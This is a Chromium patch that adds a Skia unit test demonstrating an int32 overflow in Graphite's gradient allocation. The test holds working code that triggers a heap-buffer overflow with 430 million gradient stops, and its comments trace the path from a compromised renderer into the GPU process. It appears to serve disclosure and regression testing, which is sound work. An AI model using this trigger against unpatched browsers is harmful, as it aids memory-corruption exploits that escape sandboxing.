diff --git a/skia/BUILD.gn b/skia/BUILD.gn index 429a7280c7829..79a4acdfd76d4 100644 --- a/skia/BUILD.gn +++ b/skia/BUILD.gn @@ -1218,6 +1218,7 @@ source_set("test_fonts") { test("skia_unittests") { sources = [ "ext/codec_utils_unittest.cc", + "ext/graphite_gradient_overflow_unittest.cc", "ext/convolver_unittest.cc", "ext/geometry_unittest.cc", "ext/image_operations_unittest.cc", diff --git a/skia/ext/graphite_gradient_overflow_unittest.cc b/skia/ext/graphite_gradient_overflow_unittest.cc new file mode 100644 index 0000000000000..4bfe2ca2f1b83 --- /dev/null +++ b/skia/ext/graphite_gradient_overflow_unittest.cc @@ -0,0 +1,155 @@ +// Copyright 2024 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// Unit test demonstrating int32 overflow in +// skgpu::graphite::FloatStorageManager::allocateGradientData (PipelineData.h). +// +// The expression `numStops * 5` overflows int32 when numStops >= 429,496,730. +// The negative result is passed to SkTDArray::resize(), whose +// SkASSERT(newSize >= 0) is compiled out in release builds, leaving fSize +// negative without reallocating. allocateFloatData() then returns a pointer +// inside the small prior allocation, and the caller +// (write_color_and_offset_bufdata in KeyHelpers.cpp) writes numStops*5 +// attacker-controlled floats past the end of the heap allocation. +// +// In production this is reachable from a compromised renderer on macOS +// (Graphite + Metal default-enabled, gradientBufferSupport()==true) and on +// Windows via Dawn/D3D. On Linux, Dawn/Vulkan disables fStorageBufferSupport +// so the storage-buffer gradient path is not taken; this unit test exercises +// the vulnerable function directly. + +#ifdef UNSAFE_BUFFERS_BUILD +// The replicated write loop below intentionally mirrors the unchecked +// pointer arithmetic in third_party/skia/.../KeyHelpers.cpp. +#pragma allow_unsafe_buffers +#endif + +#include + +#include "testing/gtest/include/gtest/gtest.h" +#include "third_party/skia/include/core/SkColor.h" +#include "third_party/skia/include/core/SkPoint.h" +#include "third_party/skia/include/core/SkRefCnt.h" +#include "third_party/skia/include/core/SkTileMode.h" +#include "third_party/skia/include/effects/SkGradient.h" +#include "third_party/skia/src/gpu/graphite/PipelineData.h" +#include "third_party/skia/src/shaders/gradients/SkGradientBaseShader.h" +#include "third_party/skia/src/shaders/gradients/SkLinearGradient.h" + +namespace { + +sk_sp MakeLinear(int n) { + SkPoint pts[2] = {{0, 0}, {100, 0}}; + std::vector c(n, SkColors::kRed); + SkGradient grad(SkGradient::Colors(SkSpan(c), SkTileMode::kClamp), + SkGradient::Interpolation{}); + return sk_make_sp(pts, grad); +} + +// Mirror of the file-static write_color_and_offset_bufdata in +// KeyHelpers.cpp:292-315. The SrcColors/SrcOffsets it receives in production +// come from the attacker via cc::PaintShader -> PaintOpReader -> +// SkGradientBaseShader -> add_gradient_to_key. +void WriteColorAndOffsetBufData(int num_stops, + const SkPMColor4f* colors, + const float* offsets, + const SkGradientBaseShader* shader, + skgpu::graphite::FloatStorageManager* mgr) { + auto [dst_data, buffer_offset] = mgr->allocateGradientData(num_stops, shader); + if (!dst_data) { + return; + } + for (int i = 0, color_idx = num_stops; i < num_stops; i++, color_idx += 4) { + float offset = + offsets ? offsets[i] : static_cast(i) / (num_stops - 1); + dst_data[i] = offset; + dst_data[color_idx + 0] = colors[i].fR; + dst_data[color_idx + 1] = colors[i].fG; + dst_data[color_idx + 2] = colors[i].fB; + dst_data[color_idx + 3] = colors[i].fA; + } +} + +} // namespace + +// Triggers a heap-buffer-overflow under ASAN. In a non-ASAN release build the +// loop silently writes ~8.6 GiB of attacker-chosen floats across the +// GPU-process heap. +TEST(GraphiteGradientOverflowTest, NumStopsTimesFiveOverflow) { + // Two distinct gradient shaders so the FloatStorageManager cache doesn't + // dedupe by uniqueID(). Their actual stop counts are irrelevant; the + // vulnerable function takes numStops as a separate parameter (in production + // it equals SkColor4fXformer.fColors.size() of the deserialized shader). + sk_sp g1 = MakeLinear(9); + sk_sp g2 = MakeLinear(10); + ASSERT_TRUE(g1 && g2); + + skgpu::graphite::FloatStorageManager mgr; + + // Step 1: Prime the storage with a small gradient (>8 stops takes the + // storage-buffer path on Metal/D3D). 9 stops -> allocateFloatData(45) -> + // SkTDArray heap-allocates ~57 floats (~228 bytes). + SkPMColor4f small_colors[9] = {}; + WriteColorAndOffsetBufData(9, small_colors, nullptr, g1.get(), &mgr); + + // Step 2: Second gradient with 430,000,000 stops. + // allocateGradientData computes 430000000 * 5 = 2,150,000,000 which + // overflows int32 to -2,144,967,296. allocateFloatData then calls + // resize(45 + (-2144967296)) = resize(-2144967251). + // SkTDStorage::resize: SkASSERT(newSize>=0) is a no-op in release; + // (-2144967251 > capacity) is false so reserve() is skipped; fSize is set + // negative without reallocating. allocateGradientData returns begin()+45 + // pointing inside the 57-float allocation. + // + // The write loop then runs i=0..430M-1 writing dst_data[i] (offsets) and + // dst_data[430M+4i..] (colors). The first iteration writes dst_data[0] + // (in-bounds at begin()+45) then dst_data[430000000] which is ~1.7 GiB past + // the 228-byte allocation: heap-buffer-overflow / wild write. + constexpr int kHugeStops = 430000000; + // The production caller passes the deserialized colors[] of length + // kHugeStops (~6.9 GiB). We allocate it for fidelity since the host has + // ample RAM; the OOB write fires before more than one element is read. + std::vector huge_colors(static_cast(kHugeStops), + SkPMColor4f{0.5f, 0.5f, 0.5f, 1.0f}); + WriteColorAndOffsetBufData(kHugeStops, huge_colors.data(), nullptr, g2.get(), + &mgr); + + // Not reached under ASAN. + FAIL() << "Expected heap-buffer-overflow was not detected"; +} + +// Same overflow, but exercises only the linear `dstData[i] = offset` half of +// the production write loop so that ASAN reports a clean heap-buffer-overflow +// at the redzone immediately past the under-sized allocation (instead of a +// wild SEGV 1.7 GiB away from the colors[colorIdx] half). In production both +// streams of writes execute and the linear stream silently corrupts adjacent +// GPU-process heap allocations. +TEST(GraphiteGradientOverflowTest, NumStopsTimesFiveOverflowRedzone) { + sk_sp g1 = MakeLinear(9); + sk_sp g2 = MakeLinear(10); + ASSERT_TRUE(g1 && g2); + + skgpu::graphite::FloatStorageManager mgr; + + // Prime: 9 stops -> 45 floats, capacity ~57. + auto [p1, off1] = mgr.allocateGradientData(9, g1.get()); + ASSERT_NE(p1, nullptr); + for (int i = 0; i < 45; ++i) { + p1[i] = 0.0f; + } + + // Overflow: 430M*5 wraps negative -> resize(negative) -> no realloc. + constexpr int kHugeStops = 430000000; + auto [p2, off2] = mgr.allocateGradientData(kHugeStops, g2.get()); + ASSERT_NE(p2, nullptr); + EXPECT_EQ(off2, 45); + // p2 == fGradientStorage.begin() + 45, backed by ~57 floats. + // Writing kHugeStops linear offsets walks straight past the allocation. + for (int i = 0; i < kHugeStops; ++i) { + p2[i] = static_cast(i) / + static_cast(kHugeStops - 1); // heap-buffer-overflow + } + + FAIL() << "Expected heap-buffer-overflow was not detected"; +}